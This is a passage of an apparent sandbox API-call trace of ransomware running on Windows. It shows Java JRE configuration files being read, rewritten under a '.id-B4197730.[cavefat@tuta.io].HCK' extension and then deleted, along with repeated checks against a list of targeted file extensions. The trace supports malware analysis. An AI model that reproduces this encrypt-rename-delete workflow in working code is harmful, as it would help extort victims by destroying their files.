files\\java\\jre1.8.0_144\\lib\\logging.properties")) returned 1 [0228.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.364] lstrlenW (lpString=".doc") returned 4 [0228.364] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.364] lstrlenW (lpString=".docx") returned 5 [0228.364] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.364] lstrlenW (lpString=".pdf") returned 4 [0228.364] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.364] lstrlenW (lpString=".xls") returned 4 [0228.364] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.364] lstrlenW (lpString=".xlsx") returned 5 [0228.364] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.364] lstrlenW (lpString=".ppt") returned 4 [0228.364] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.364] lstrlenW (lpString=".zip") returned 4 [0228.364] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.364] lstrlenW (lpString=".rar") returned 4 [0228.364] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.364] lstrlenW (lpString=".bz2") returned 4 [0228.364] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.364] lstrlenW (lpString=".7z") returned 3 [0228.364] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0228.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.364] lstrlenW (lpString=".dbf") returned 4 [0228.364] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString=".1cd") returned 4 [0228.365] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString=".jpg") returned 4 [0228.365] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString=".doc") returned 4 [0228.365] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString=".docx") returned 5 [0228.365] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.365] lstrlenW (lpString=".pdf") returned 4 [0228.365] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString=".xls") returned 4 [0228.365] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString=".xlsx") returned 5 [0228.365] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.365] lstrlenW (lpString=".ppt") returned 4 [0228.365] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString=".zip") returned 4 [0228.365] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString=".rar") returned 4 [0228.365] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString=".bz2") returned 4 [0228.365] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString=".7z") returned 3 [0228.365] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString=".dbf") returned 4 [0228.365] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString=".1cd") returned 4 [0228.365] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0228.365] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\logging.properties") returned 57 [0228.365] lstrlenW (lpString=".jpg") returned 4 [0228.365] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0228.365] lstrcmpiW (lpString1=".access", lpString2=".HCK") returned -1 [0228.366] lstrlenW (lpString="jmxremote.access") returned 16 [0228.366] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.367] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3998) returned 1 [0228.367] CloseHandle (hObject=0x4cc) returned 1 [0228.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 0x20 [0228.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.368] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.368] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0228.455] GetLastError () returned 0x0 [0228.455] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xf9e, lpOverlapped=0x0) returned 1 [0228.457] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xfa0, lpOverlapped=0x0) returned 1 [0228.457] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.458] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf4, lpOverlapped=0x0) returned 1 [0228.458] SetEndOfFile (hFile=0x524) returned 1 [0228.458] CloseHandle (hObject=0x524) returned 1 [0228.458] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.458] SetEndOfFile (hFile=0x4cc) returned 1 [0228.460] CloseHandle (hObject=0x4cc) returned 1 [0228.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.460] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.access")) returned 1 [0228.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.461] lstrlenW (lpString=".doc") returned 4 [0228.461] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString=".docx") returned 5 [0228.461] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0228.461] lstrlenW (lpString=".pdf") returned 4 [0228.461] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString=".xls") returned 4 [0228.461] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString=".xlsx") returned 5 [0228.461] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0228.461] lstrlenW (lpString=".ppt") returned 4 [0228.461] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.461] lstrlenW (lpString=".zip") returned 4 [0228.461] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString=".rar") returned 4 [0228.461] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString=".bz2") returned 4 [0228.461] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString=".7z") returned 3 [0228.461] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0228.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.461] lstrlenW (lpString=".dbf") returned 4 [0228.461] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.461] lstrlenW (lpString=".1cd") returned 4 [0228.461] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0228.461] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.461] lstrlenW (lpString=".jpg") returned 4 [0228.462] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0228.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.462] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.462] lstrlenW (lpString=".doc") returned 4 [0228.462] lstrcmpiW (lpString1=".doc", lpString2="cess") returned -1 [0228.462] lstrlenW (lpString=".docx") returned 5 [0228.462] lstrcmpiW (lpString1=".docx", lpString2="ccess") returned -1 [0228.462] lstrlenW (lpString=".pdf") returned 4 [0228.462] lstrcmpiW (lpString1=".pdf", lpString2="cess") returned -1 [0228.462] lstrlenW (lpString=".xls") returned 4 [0228.462] lstrcmpiW (lpString1=".xls", lpString2="cess") returned -1 [0228.462] lstrlenW (lpString=".xlsx") returned 5 [0228.463] lstrcmpiW (lpString1=".xlsx", lpString2="ccess") returned -1 [0228.463] lstrlenW (lpString=".ppt") returned 4 [0228.463] lstrcmpiW (lpString1=".ppt", lpString2="cess") returned -1 [0228.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.463] lstrlenW (lpString=".zip") returned 4 [0228.463] lstrcmpiW (lpString1=".zip", lpString2="cess") returned -1 [0228.463] lstrlenW (lpString=".rar") returned 4 [0228.463] lstrcmpiW (lpString1=".rar", lpString2="cess") returned -1 [0228.463] lstrlenW (lpString=".bz2") returned 4 [0228.463] lstrcmpiW (lpString1=".bz2", lpString2="cess") returned -1 [0228.463] lstrlenW (lpString=".7z") returned 3 [0228.463] lstrcmpiW (lpString1=".7z", lpString2="ess") returned -1 [0228.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.463] lstrlenW (lpString=".dbf") returned 4 [0228.463] lstrcmpiW (lpString1=".dbf", lpString2="cess") returned -1 [0228.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.463] lstrlenW (lpString=".1cd") returned 4 [0228.463] lstrcmpiW (lpString1=".1cd", lpString2="cess") returned -1 [0228.463] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.access") returned 66 [0228.463] lstrlenW (lpString=".jpg") returned 4 [0228.463] lstrcmpiW (lpString1=".jpg", lpString2="cess") returned -1 [0228.464] lstrcmpiW (lpString1=".template", lpString2=".HCK") returned 1 [0228.464] lstrlenW (lpString="jmxremote.password.template") returned 27 [0228.464] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.465] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=2856) returned 1 [0228.465] CloseHandle (hObject=0x4cc) returned 1 [0228.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 0x20 [0228.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.465] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.465] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.465] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0228.467] GetLastError () returned 0x0 [0228.467] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0xb28, lpOverlapped=0x0) returned 1 [0228.469] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xb30, lpOverlapped=0x0) returned 1 [0228.469] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.469] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10a, lpOverlapped=0x0) returned 1 [0228.470] SetEndOfFile (hFile=0x524) returned 1 [0228.470] CloseHandle (hObject=0x524) returned 1 [0228.470] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.470] SetEndOfFile (hFile=0x4cc) returned 1 [0228.472] CloseHandle (hObject=0x4cc) returned 1 [0228.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.472] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template")) returned 1 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString=".doc") returned 4 [0228.473] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0228.473] lstrlenW (lpString=".docx") returned 5 [0228.473] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0228.473] lstrlenW (lpString=".pdf") returned 4 [0228.473] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0228.473] lstrlenW (lpString=".xls") returned 4 [0228.473] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0228.473] lstrlenW (lpString=".xlsx") returned 5 [0228.473] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0228.473] lstrlenW (lpString=".ppt") returned 4 [0228.473] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString=".zip") returned 4 [0228.473] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0228.473] lstrlenW (lpString=".rar") returned 4 [0228.473] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0228.473] lstrlenW (lpString=".bz2") returned 4 [0228.473] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0228.473] lstrlenW (lpString=".7z") returned 3 [0228.473] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString=".dbf") returned 4 [0228.473] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString=".1cd") returned 4 [0228.473] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString=".jpg") returned 4 [0228.473] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.473] lstrlenW (lpString=".doc") returned 4 [0228.473] lstrcmpiW (lpString1=".doc", lpString2="late") returned -1 [0228.473] lstrlenW (lpString=".docx") returned 5 [0228.473] lstrcmpiW (lpString1=".docx", lpString2="plate") returned -1 [0228.473] lstrlenW (lpString=".pdf") returned 4 [0228.474] lstrcmpiW (lpString1=".pdf", lpString2="late") returned -1 [0228.474] lstrlenW (lpString=".xls") returned 4 [0228.474] lstrcmpiW (lpString1=".xls", lpString2="late") returned -1 [0228.474] lstrlenW (lpString=".xlsx") returned 5 [0228.474] lstrcmpiW (lpString1=".xlsx", lpString2="plate") returned -1 [0228.474] lstrlenW (lpString=".ppt") returned 4 [0228.474] lstrcmpiW (lpString1=".ppt", lpString2="late") returned -1 [0228.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.474] lstrlenW (lpString=".zip") returned 4 [0228.474] lstrcmpiW (lpString1=".zip", lpString2="late") returned -1 [0228.474] lstrlenW (lpString=".rar") returned 4 [0228.474] lstrcmpiW (lpString1=".rar", lpString2="late") returned -1 [0228.474] lstrlenW (lpString=".bz2") returned 4 [0228.474] lstrcmpiW (lpString1=".bz2", lpString2="late") returned -1 [0228.474] lstrlenW (lpString=".7z") returned 3 [0228.474] lstrcmpiW (lpString1=".7z", lpString2="ate") returned -1 [0228.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.474] lstrlenW (lpString=".dbf") returned 4 [0228.474] lstrcmpiW (lpString1=".dbf", lpString2="late") returned -1 [0228.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.474] lstrlenW (lpString=".1cd") returned 4 [0228.474] lstrcmpiW (lpString1=".1cd", lpString2="late") returned -1 [0228.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\jmxremote.password.template") returned 77 [0228.474] lstrlenW (lpString=".jpg") returned 4 [0228.474] lstrcmpiW (lpString1=".jpg", lpString2="late") returned -1 [0228.474] lstrcmpiW (lpString1=".properties", lpString2=".HCK") returned 1 [0228.474] lstrlenW (lpString="management.properties") returned 21 [0228.474] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.475] GetFileSizeEx (in: hFile=0x4cc, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=14630) returned 1 [0228.475] CloseHandle (hObject=0x4cc) returned 1 [0228.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20 [0228.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0228.475] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0228.475] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.475] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.475] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0228.476] GetLastError () returned 0x0 [0228.476] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x3926, lpOverlapped=0x0) returned 1 [0228.478] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x3930, lpOverlapped=0x0) returned 1 [0228.479] ReadFile (in: hFile=0x4cc, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0228.479] WriteFile (in: hFile=0x524, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0xfe, lpOverlapped=0x0) returned 1 [0228.479] SetEndOfFile (hFile=0x524) returned 1 [0228.479] CloseHandle (hObject=0x524) returned 1 [0228.479] SetFilePointerEx (in: hFile=0x4cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0228.479] SetEndOfFile (hFile=0x4cc) returned 1 [0228.481] CloseHandle (hObject=0x4cc) returned 1 [0228.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0228.482] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1 [0228.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.482] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.482] lstrlenW (lpString=".doc") returned 4 [0228.482] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0228.482] lstrlenW (lpString=".docx") returned 5 [0228.482] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0228.482] lstrlenW (lpString=".pdf") returned 4 [0228.482] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0228.482] lstrlenW (lpString=".xls") returned 4 [0228.482] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0228.482] lstrlenW (lpString=".xlsx") returned 5 [0228.482] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0228.482] lstrlenW (lpString=".ppt") returned 4 [0228.482] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71 [0228.483] lstrlenW (lpString=".zip") returned 4 [0228.483] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".rar") returned 4 [0228.483] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".bz2") returned 4 [0228.483] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0228.483] lstrlenW (lpString=".7z") returned 3 [0228.483] lstrcmpiW (lpString1=".7z", 